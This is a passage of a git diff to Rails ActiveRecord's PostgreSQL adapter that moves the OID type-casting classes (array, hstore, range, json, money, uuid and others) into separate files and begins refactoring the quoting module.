-              from:          (value[1] == ',' || from == '-infinity') ? infinity(:negative => true) : from,
-              to:            (value[-2] == ',' || to == 'infinity') ? infinity : to,
-              exclude_start: (value[0] == '('),
-              exclude_end:   (value[-1] == ')')
-            }
-          end
-
-          def infinity(options = {})
-            ::Float::INFINITY * (options[:negative] ? -1 : 1)
-          end
-
-          def infinity?(value)
-            value.respond_to?(:infinite?) && value.infinite?
-          end
-
-          def to_integer(value)
-            infinity?(value) ? value : value.to_i
-          end
-
-          def type_cast(value)
-            return if value.nil? || value == 'empty'
-            return value if value.is_a?(::Range)
-
-            extracted = extract_bounds(value)
-
-            case @subtype
-            when :date
-              from  = ConnectionAdapters::Column.value_to_date(extracted[:from])
-              from -= 1.day if extracted[:exclude_start]
-              to    = ConnectionAdapters::Column.value_to_date(extracted[:to])
-            when :decimal
-              from  = BigDecimal.new(extracted[:from].to_s)
-              # FIXME: add exclude start for ::Range, same for timestamp ranges
-              to    = BigDecimal.new(extracted[:to].to_s)
-            when :time
-              from = ConnectionAdapters::Column.string_to_time(extracted[:from])
-              to   = ConnectionAdapters::Column.string_to_time(extracted[:to])
-            when :integer
-              from = to_integer(extracted[:from]) rescue value ? 1 : 0
-              from -= 1 if extracted[:exclude_start]
-              to   = to_integer(extracted[:to]) rescue value ? 1 : 0
-            else
-              return value
-            end
-
-            ::Range.new(from, to, extracted[:exclude_end])
-          end
-        end
-
-        class Integer < Type
-          def type_cast(value)
-            return if value.nil?
-
-            ConnectionAdapters::Column.value_to_integer value
-          end
-        end
-
-        class Boolean < Type
-          def type_cast(value)
-            return if value.nil?
-
-            ConnectionAdapters::Column.value_to_boolean value
-          end
-        end
-
-        class Timestamp < Type
-          def type; :timestamp; end
-
-          def type_cast(value)
-            return if value.nil?
-
-            # FIXME: probably we can improve this since we know it is PG
-            # specific
-            ConnectionAdapters::PostgreSQLColumn.string_to_time value
-          end
-        end
-
-        class Date < Type
-          def type; :datetime; end
-
-          def type_cast(value)
-            return if value.nil?
-
-            # FIXME: probably we can improve this since we know it is PG
-            # specific
-            ConnectionAdapters::Column.value_to_date value
-          end
-        end
-
-        class Time < Type
-          def type_cast(value)
-            return if value.nil?
-
-            # FIXME: probably we can improve this since we know it is PG
-            # specific
-            ConnectionAdapters::Column.string_to_dummy_time value
-          end
-        end
-
-        class Float < Type
-          def type_cast(value)
-            return if value.nil?
-
-            value.to_f
-          end
-        end
-
-        class Decimal < Type
-          def type_cast(value)
-            return if value.nil?
-
-            ConnectionAdapters::Column.value_to_decimal value
-          end
-        end
-
-        class Hstore < Type
-          def type_cast_for_write(value)
-            ConnectionAdapters::PostgreSQLColumn.hstore_to_string value
-          end
-
-          def type_cast(value)
-            return if value.nil?
-
-            ConnectionAdapters::PostgreSQLColumn.string_to_hstore value
-          end
-        end
-
-        class Cidr < Type
-          def type_cast(value)
-            return if value.nil?
-
-            ConnectionAdapters::PostgreSQLColumn.string_to_cidr value
-          end
-        end
-
-        class Json < Type
-          def type_cast(value)
-            return if value.nil?
-
-            ConnectionAdapters::PostgreSQLColumn.string_to_json value
-          end
-        end
-
-        class TypeMap
-          def initialize
-            @mapping = {}
-          end
-
-          def []=(oid, type)
-            @mapping[oid] = type
-          end
-
-          def [](oid)
-            @mapping[oid]
-          end
-
-          def clear
-            @mapping.clear
-          end
-
-          def key?(oid)
-            @mapping.key? oid
-          end
-
-          def fetch(ftype, fmod)
-            # The type for the numeric depends on the width of the field,
-            # so we'll do something special here.
-            #
-            # When dealing with decimal columns:
-            #
-            # places after decimal  = fmod - 4 & 0xffff
-            # places before decimal = (fmod - 4) >> 16 & 0xffff
-            if ftype == 1700 && (fmod - 4 & 0xffff).zero?
-              ftype = 23
-            end
-
-            @mapping.fetch(ftype) { |oid| yield oid, fmod }
-          end
-        end
-
-        TYPE_MAP = TypeMap.new # :nodoc:
-
-        # When the PG adapter connects, the pg_type table is queried.  The
-        # key of this hash maps to the `typname` column from the table.
-        # TYPE_MAP is then dynamically built with oids as the key and type
-        # objects as values.
-        NAMES = Hash.new { |h,k| # :nodoc:
-          h[k] = OID::Identity.new
-        }
-
-        # Register an OID type named +name+ with a typcasting object in
-        # +type+.  +name+ should correspond to the `typname` column in
-        # the `pg_type` table.
-        def self.register_type(name, type)
-          NAMES[name] = type
-        end
-
-        # Alias the +old+ type to the +new+ type.
-        def self.alias_type(new, old)
-          NAMES[new] = NAMES[old]
-        end
-
-        # Is +name+ a registered type?
-        def self.registered_type?(name)
-          NAMES.key? name
-        end
-
-        register_type 'int2', OID::Integer.new
-        alias_type    'int4', 'int2'
-        alias_type    'int8', 'int2'
-        alias_type    'oid',  'int2'
-
-        register_type 'daterange', OID::Range.new(:date)
-        register_type 'numrange', OID::Range.new(:decimal)
-        register_type 'tsrange', OID::Range.new(:time)
-        register_type 'int4range', OID::Range.new(:integer)
-        alias_type    'tstzrange', 'tsrange'
-        alias_type    'int8range', 'int4range'
-
-        register_type 'numeric', OID::Decimal.new
-        register_type 'text', OID::Identity.new
-        alias_type 'varchar', 'text'
-        alias_type 'char', 'text'
-        alias_type 'bpchar', 'text'
-        alias_type 'xml', 'text'
-
-        # FIXME: why are we keeping these types as strings?
-        alias_type 'tsvector', 'text'
-        alias_type 'interval', 'text'
-        alias_type 'macaddr',  'text'
-        alias_type 'uuid',     'text'
-
-        register_type 'money', OID::Money.new
-        register_type 'bytea', OID::Bytea.new
-        register_type 'bool', OID::Boolean.new
-        register_type 'bit', OID::Bit.new
-        register_type 'varbit', OID::Bit.new
-
-        register_type 'float4', OID::Float.new
-        alias_type 'float8', 'float4'
-
-        register_type 'timestamp', OID::Timestamp.new
-        register_type 'timestamptz', OID::Timestamp.new
-        register_type 'date', OID::Date.new
-        register_type 'time', OID::Time.new
-
-        register_type 'path', OID::Identity.new
-        register_type 'point', OID::Point.new
-        register_type 'polygon', OID::Identity.new
-        register_type 'circle', OID::Identity.new
-        register_type 'hstore', OID::Hstore.new
-        register_type 'json', OID::Json.new
-        register_type 'ltree', OID::Identity.new
-
-        register_type 'cidr', OID::Cidr.new
-        alias_type 'inet', 'cidr'
+    module PostgreSQL
+      module OID # :nodoc:
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb
new file mode 100644
index 0000000000..2608a2abab
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb
@@ -0,0 +1,105 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Array < Type::Value # :nodoc:
+          include Type::Helpers::Mutable
+
+          # Loads pg_array_parser if available. String parsing can be
+          # performed quicker by a native extension, which will not create
+          # a large amount of Ruby objects that will need to be garbage
+          # collected. pg_array_parser has a C and Java extension
+          begin
+            require 'pg_array_parser'
+            include PgArrayParser
+          rescue LoadError
+            require 'active_record/connection_adapters/postgresql/array_parser'
+            include PostgreSQL::ArrayParser
+          end
+
+          attr_reader :subtype, :delimiter
+          delegate :type, :user_input_in_time_zone, to: :subtype
+
+          def initialize(subtype, delimiter = ',')
+            @subtype = subtype
+            @delimiter = delimiter
+          end
+
+          def type_cast_from_database(value)
+            if value.is_a?(::String)
+              type_cast_array(parse_pg_array(value), :type_cast_from_database)
+            else
+              super
+            end
+          end
+
+          def type_cast_from_user(value)
+            if value.is_a?(::String)
+              value = parse_pg_array(value)
+            end
+            type_cast_array(value, :type_cast_from_user)
+          end
+
+          def type_cast_for_database(value)
+            if value.is_a?(::Array)
+              cast_value_for_database(value)
+            else
+              super
+            end
+          end
+
+          def ==(other)
+            other.is_a?(Array) &&
+              subtype == other.subtype &&
+              delimiter == other.delimiter
+          end
+
+          private
+
+          def type_cast_array(value, method)
+            if value.is_a?(::Array)
+              value.map { |item| type_cast_array(item, method) }
+            else
+              @subtype.public_send(method, value)
+            end
+          end
+
+          def cast_value_for_database(value)
+            if value.is_a?(::Array)
+              casted_values = value.map { |item| cast_value_for_database(item) }
+              "{#{casted_values.join(delimiter)}}"
+            else
+              quote_and_escape(subtype.type_cast_for_database(value))
+            end
+          end
+
+          ARRAY_ESCAPE = "\\" * 2 * 2 # escape the backslash twice for PG arrays
+
+          def quote_and_escape(value)
+            case value
+            when ::String
+              if string_requires_quoting?(value)
+                value = value.gsub(/\\/, ARRAY_ESCAPE)
+                value.gsub!(/"/,"\\\"")
+                %("#{value}")
+              else
+                value
+              end
+            when nil then "NULL"
+            else value
+            end
+          end
+
+          # See http://www.postgresql.org/docs/9.2/static/arrays.html#ARRAYS-IO
+          # for a list of all cases in which strings will be quoted.
+          def string_requires_quoting?(string)
+            string.empty? ||
+              string == "NULL" ||
+              string =~ /[\{\}"\\\s]/ ||
+              string.include?(delimiter)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb
new file mode 100644
index 0000000000..1dbb40ca1d
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit.rb
@@ -0,0 +1,52 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Bit < Type::Value # :nodoc:
+          def type
+            :bit
+          end
+
+          def type_cast(value)
+            if ::String === value
+              case value
+              when /^0x/i
+                value[2..-1].hex.to_s(2) # Hexadecimal notation
+              else
+                value                    # Bit-string notation
+              end
+            else
+              value
+            end
+          end
+
+          def type_cast_for_database(value)
+            Data.new(super) if value
+          end
+
+          class Data
+            def initialize(value)
+              @value = value
+            end
+
+            def to_s
+              value
+            end
+
+            def binary?
+              /\A[01]*\Z/ === value
+            end
+
+            def hex?
+              /\A[0-9A-F]*\Z/i === value
+            end
+
+            protected
+
+            attr_reader :value
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying.rb
new file mode 100644
index 0000000000..4c21097d48
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bit_varying.rb
@@ -0,0 +1,13 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class BitVarying < OID::Bit # :nodoc:
+          def type
+            :bit_varying
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea.rb
new file mode 100644
index 0000000000..6bd1b8ecae
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/bytea.rb
@@ -0,0 +1,15 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Bytea < Type::Binary # :nodoc:
+          def type_cast_from_database(value)
+            return if value.nil?
+            return value.to_s if value.is_a?(Type::Binary::Data)
+            PGconn.unescape_bytea(super)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb
new file mode 100644
index 0000000000..222f10fa8f
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/cidr.rb
@@ -0,0 +1,46 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Cidr < Type::Value # :nodoc:
+          def type
+            :cidr
+          end
+
+          def type_cast_for_schema(value)
+            subnet_mask = value.instance_variable_get(:@mask_addr)
+
+            # If the subnet mask is equal to /32, don't output it
+            if subnet_mask == (2**32 - 1)
+              "\"#{value}\""
+            else
+              "\"#{value}/#{subnet_mask.to_s(2).count('1')}\""
+            end
+          end
+
+          def type_cast_for_database(value)
+            if IPAddr === value
+              "#{value}/#{value.instance_variable_get(:@mask_addr).to_s(2).count('1')}"
+            else
+              value
+            end
+          end
+
+          def cast_value(value)
+            if value.nil?
+              nil
+            elsif String === value
+              begin
+                IPAddr.new(value)
+              rescue ArgumentError
+                nil
+              end
+            else
+              value
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb
new file mode 100644
index 0000000000..2c04c46131
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/date_time.rb
@@ -0,0 +1,25 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class DateTime < Type::DateTime # :nodoc:
+          def cast_value(value)
+            if value.is_a?(::String)
+              case value
+              when 'infinity' then ::Float::INFINITY
+              when '-infinity' then -::Float::INFINITY
+              when / BC$/
+                astronomical_year = format("%04d", -value[/^\d+/].to_i + 1)
+                super(value.sub(/ BC$/, "").sub(/^\d+/, astronomical_year))
+              else
+                super
+              end
+            else
+              value
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal.rb
new file mode 100644
index 0000000000..43d22c8daf
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/decimal.rb
@@ -0,0 +1,13 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Decimal < Type::Decimal # :nodoc:
+          def infinity(options = {})
+            BigDecimal.new("Infinity") * (options[:negative] ? -1 : 1)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/enum.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/enum.rb
new file mode 100644
index 0000000000..77d5038efd
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/enum.rb
@@ -0,0 +1,17 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Enum < Type::Value # :nodoc:
+          def type
+            :enum
+          end
+
+          def type_cast(value)
+            value.to_s
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore.rb
new file mode 100644
index 0000000000..b46e50c865
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/hstore.rb
@@ -0,0 +1,59 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Hstore < Type::Value # :nodoc:
+          include Type::Helpers::Mutable
+
+          def type
+            :hstore
+          end
+
+          def type_cast_from_database(value)
+            if value.is_a?(::String)
+              ::Hash[value.scan(HstorePair).map { |k, v|
+                v = v.upcase == 'NULL' ? nil : v.gsub(/\A"(.*)"\Z/m,'\1').gsub(/\\(.)/, '\1')
+                k = k.gsub(/\A"(.*)"\Z/m,'\1').gsub(/\\(.)/, '\1')
+                [k, v]
+              }]
+            else
+              value
+            end
+          end
+
+          def type_cast_for_database(value)
+            if value.is_a?(::Hash)
+              value.map { |k, v| "#{escape_hstore(k)}=>#{escape_hstore(v)}" }.join(', ')
+            else
+              value
+            end
+          end
+
+          def accessor
+            ActiveRecord::Store::StringKeyedHashAccessor
+          end
+
+          private
+
+          HstorePair = begin
+            quoted_string = /"[^"\\]*(?:\\.[^"\\]*)*"/
+            unquoted_string = /(?:\\.|[^\s,])[^\s=,\\]*(?:\\.[^\s=,\\]*|=[^,>])*/
+            /(#{quoted_string}|#{unquoted_string})\s*=>\s*(#{quoted_string}|#{unquoted_string})/
+          end
+
+          def escape_hstore(value)
+            if value.nil?
+              'NULL'
+            else
+              if value == ""
+                '""'
+              else
+                '"%s"' % value.to_s.gsub(/(["\\])/, '\\\\\1')
+              end
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/inet.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/inet.rb
new file mode 100644
index 0000000000..96486fa65b
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/inet.rb
@@ -0,0 +1,13 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Inet < Cidr # :nodoc:
+          def type
+            :inet
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/json.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/json.rb
new file mode 100644
index 0000000000..13dd037314
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/json.rb
@@ -0,0 +1,35 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Json < Type::Value # :nodoc:
+          include Type::Helpers::Mutable
+
+          def type
+            :json
+          end
+
+          def type_cast_from_database(value)
+            if value.is_a?(::String)
+              ::ActiveSupport::JSON.decode(value) rescue nil
+            else
+              super
+            end
+          end
+
+          def type_cast_for_database(value)
+            if value.is_a?(::Array) || value.is_a?(::Hash)
+              ::ActiveSupport::JSON.encode(value)
+            else
+              super
+            end
+          end
+
+          def accessor
+            ActiveRecord::Store::StringKeyedHashAccessor
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb
new file mode 100644
index 0000000000..380c50fc14
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/jsonb.rb
@@ -0,0 +1,23 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Jsonb < Json # :nodoc:
+          def type
+            :jsonb
+          end
+
+          def changed_in_place?(raw_old_value, new_value)
+            # Postgres does not preserve insignificant whitespaces when
+            # roundtripping jsonb columns. This causes some false positives for
+            # the comparison here. Therefore, we need to parse and re-dump the
+            # raw value here to ensure the insignificant whitespaces are
+            # consistent with our encoder's output.
+            raw_old_value = type_cast_for_database(type_cast_from_database(raw_old_value))
+            super(raw_old_value, new_value)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb
new file mode 100644
index 0000000000..2163674019
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/money.rb
@@ -0,0 +1,41 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Money < Type::Decimal # :nodoc:
+          class_attribute :precision
+
+          def type
+            :money
+          end
+
+          def scale
+            2
+          end
+
+          def cast_value(value)
+            return value unless ::String === value
+
+            # Because money output is formatted according to the locale, there are two
+            # cases to consider (note the decimal separators):
+            #  (1) $12,345,678.12
+            #  (2) $12.345.678,12
+            # Negative values are represented as follows:
+            #  (3) -$2.55
+            #  (4) ($2.55)
+
+            value.sub!(/^\((.+)\)$/, '-\1') # (4)
+            case value
+            when /^-?\D+[\d,]+\.\d{2}$/  # (1)
+              value.gsub!(/[^-\d.]/, '')
+            when /^-?\D+[\d.]+,\d{2}$/  # (2)
+              value.gsub!(/[^-\d,]/, '').sub!(/,/, '.')
+            end
+
+            super(value)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/point.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/point.rb
new file mode 100644
index 0000000000..4084725ed7
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/point.rb
@@ -0,0 +1,43 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Point < Type::Value # :nodoc:
+          include Type::Helpers::Mutable
+
+          def type
+            :point
+          end
+
+          def type_cast(value)
+            case value
+            when ::String
+              if value[0] == '(' && value[-1] == ')'
+                value = value[1...-1]
+              end
+              type_cast(value.split(','))
+            when ::Array
+              value.map { |v| Float(v) }
+            else
+              value
+            end
+          end
+
+          def type_cast_for_database(value)
+            if value.is_a?(::Array)
+              "(#{number_for_point(value[0])},#{number_for_point(value[1])})"
+            else
+              super
+            end
+          end
+
+          private
+
+          def number_for_point(number)
+            number.to_s.gsub(/\.0$/, '')
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb
new file mode 100644
index 0000000000..9d3633d109
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/range.rb
@@ -0,0 +1,86 @@
+require 'active_support/core_ext/string/filters'
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Range < Type::Value # :nodoc:
+          attr_reader :subtype, :type
+
+          def initialize(subtype, type = :range)
+            @subtype = subtype
+            @type = type
+          end
+
+          def type_cast_for_schema(value)
+            value.inspect.gsub('Infinity', '::Float::INFINITY')
+          end
+
+          def cast_value(value)
+            return if value == 'empty'
+            return value if value.is_a?(::Range)
+
+            extracted = extract_bounds(value)
+            from = type_cast_single extracted[:from]
+            to = type_cast_single extracted[:to]
+
+            if !infinity?(from) && extracted[:exclude_start]
+              raise ArgumentError, "The Ruby Range object does not support excluding the beginning of a Range. (unsupported value: '#{value}')"
+            end
+            ::Range.new(from, to, extracted[:exclude_end])
+          end
+
+          def type_cast_for_database(value)
+            if value.is_a?(::Range)
+              from = type_cast_single_for_database(value.begin)
+              to = type_cast_single_for_database(value.end)
+              "[#{from},#{to}#{value.exclude_end? ? ')' : ']'}"
+            else
+              super
+            end
+          end
+
+          def ==(other)
+            other.is_a?(Range) &&
+              other.subtype == subtype &&
+              other.type == type
+          end
+
+          private
+
+          def type_cast_single(value)
+            infinity?(value) ? value : @subtype.type_cast_from_database(value)
+          end
+
+          def type_cast_single_for_database(value)
+            infinity?(value) ? '' : @subtype.type_cast_for_database(value)
+          end
+
+          def extract_bounds(value)
+            from, to = value[1..-2].split(',')
+            {
+              from:          (value[1] == ',' || from == '-infinity') ? infinity(negative: true) : from,
+              to:            (value[-2] == ',' || to == 'infinity') ? infinity : to,
+              exclude_start: (value[0] == '('),
+              exclude_end:   (value[-1] == ')')
+            }
+          end
+
+          def infinity(negative: false)
+            if subtype.respond_to?(:infinity)
+              subtype.infinity(negative: negative)
+            elsif negative
+              -::Float::INFINITY
+            else
+              ::Float::INFINITY
+            end
+          end
+
+          def infinity?(value)
+            value.respond_to?(:infinite?) && value.infinite?
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string.rb
new file mode 100644
index 0000000000..2d2fede4e8
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/specialized_string.rb
@@ -0,0 +1,15 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class SpecializedString < Type::String # :nodoc:
+          attr_reader :type
+
+          def initialize(type)
+            @type = type
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb
new file mode 100644
index 0000000000..9b3de41fab
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb
@@ -0,0 +1,97 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        # This class uses the data from PostgreSQL pg_type table to build
+        # the OID -> Type mapping.
+        #   - OID is an integer representing the type.
+        #   - Type is an OID::Type object.
+        # This class has side effects on the +store+ passed during initialization.
+        class TypeMapInitializer # :nodoc:
+          def initialize(store)
+            @store = store
+          end
+
+          def run(records)
+            nodes = records.reject { |row| @store.key? row['oid'].to_i }
+            mapped, nodes = nodes.partition { |row| @store.key? row['typname'] }
+            ranges, nodes = nodes.partition { |row| row['typtype'] == 'r' }
+            enums, nodes = nodes.partition { |row| row['typtype'] == 'e' }
+            domains, nodes = nodes.partition { |row| row['typtype'] == 'd' }
+            arrays, nodes = nodes.partition { |row| row['typinput'] == 'array_in' }
+            composites, nodes = nodes.partition { |row| row['typelem'] != '0' }
+
+            mapped.each     { |row| register_mapped_type(row)    }
+            enums.each      { |row| register_enum_type(row)      }
+            domains.each    { |row| register_domain_type(row)    }
+            arrays.each     { |row| register_array_type(row)     }
+            ranges.each     { |row| register_range_type(row)     }
+            composites.each { |row| register_composite_type(row) }
+          end
+
+          private
+          def register_mapped_type(row)
+            alias_type row['oid'], row['typname']
+          end
+
+          def register_enum_type(row)
+            register row['oid'], OID::Enum.new
+          end
+
+          def register_array_type(row)
+            register_with_subtype(row['oid'], row['typelem'].to_i) do |subtype|
+              OID::Array.new(subtype, row['typdelim'])
+            end
+          end
+
+          def register_range_type(row)
+            register_with_subtype(row['oid'], row['rngsubtype'].to_i) do |subtype|
+              OID::Range.new(subtype, row['typname'].to_sym)
+            end
+          end
+
+          def register_domain_type(row)
+            if base_type = @store.lookup(row["typbasetype"].to_i)
+              register row['oid'], base_type
+            else
+              warn "unknown base type (OID: #{row["typbasetype"]}) for domain #{row["typname"]}."
+            end
+          end
+
+          def register_composite_type(row)
+            if subtype = @store.lookup(row['typelem'].to_i)
+              register row['oid'], OID::Vector.new(row['typdelim'], subtype)
+            end
+          end
+
+          def register(oid, oid_type = nil, &block)
+            oid = assert_valid_registration(oid, oid_type || block)
+            if block_given?
+              @store.register_type(oid, &block)
+            else
+              @store.register_type(oid, oid_type)
+            end
+          end
+
+          def alias_type(oid, target)
+            oid = assert_valid_registration(oid, target)
+            @store.alias_type(oid, target)
+          end
+
+          def register_with_subtype(oid, target_oid)
+            if @store.key?(target_oid)
+              register(oid) do |_, *args|
+                yield @store.lookup(target_oid, *args)
+              end
+            end
+          end
+
+          def assert_valid_registration(oid, oid_type)
+            raise ArgumentError, "can't register nil type for OID #{oid}" if oid_type.nil?
+            oid.to_i
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid.rb
new file mode 100644
index 0000000000..97b4fd3d08
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid.rb
@@ -0,0 +1,21 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Uuid < Type::Value # :nodoc:
+          ACCEPTABLE_UUID = %r{\A\{?([a-fA-F0-9]{4}-?){8}\}?\z}x
+
+          alias_method :type_cast_for_database, :type_cast_from_database
+
+          def type
+            :uuid
+          end
+
+          def type_cast(value)
+            value.to_s[ACCEPTABLE_UUID, 0]
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/vector.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/vector.rb
new file mode 100644
index 0000000000..de4187b028
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/vector.rb
@@ -0,0 +1,26 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Vector < Type::Value # :nodoc:
+          attr_reader :delim, :subtype
+
+          # +delim+ corresponds to the `typdelim` column in the pg_types
+          # table.  +subtype+ is derived from the `typelem` column in the
+          # pg_types table.
+          def initialize(delim, subtype)
+            @delim   = delim
+            @subtype = subtype
+          end
+
+          # FIXME: this should probably split on +delim+ and use +subtype+
+          # to cast the values.  Unfortunately, the current Rails behavior
+          # is to just return the string.
+          def type_cast(value)
+            value
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/xml.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/xml.rb
new file mode 100644
index 0000000000..334af7c598
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/xml.rb
@@ -0,0 +1,28 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module OID # :nodoc:
+        class Xml < Type::String # :nodoc:
+          def type
+            :xml
+          end
+
+          def type_cast_for_database(value)
+            return unless value
+            Data.new(super)
+          end
+
+          class Data # :nodoc:
+            def initialize(value)
+              @value = value
+            end
+
+            def to_s
+              @value
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
index e9daa5d7ff..b8d0e26f85 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
@@ -1,124 +1,17 @@
 module ActiveRecord
   module ConnectionAdapters
-    class PostgreSQLAdapter < AbstractAdapter
+    module PostgreSQL
       module Quoting
         # Escapes binary strings for bytea input to the database.
         def escape_bytea(value)
-          PGconn.escape_bytea(value) if value
+          @connection.escape_bytea(value) if value
         end
 
         # Unescapes bytea output from a database to the binary string it represents.
         # NOTE: This is NOT an inverse of escape_bytea! This is only to be used
         # on escaped binary output from database drive.
         def unescape_bytea(value)
-          PGconn.unescape_bytea(value) if value
-        end
-
-        # Quotes PostgreSQL-specific data types for SQL input.
-        def quote(value, column = nil) #:nodoc:
-          return super unless column
-
-          sql_type = type_to_sql(column.type, column.limit, column.precision, column.scale)
-
-          case value
-          when Range
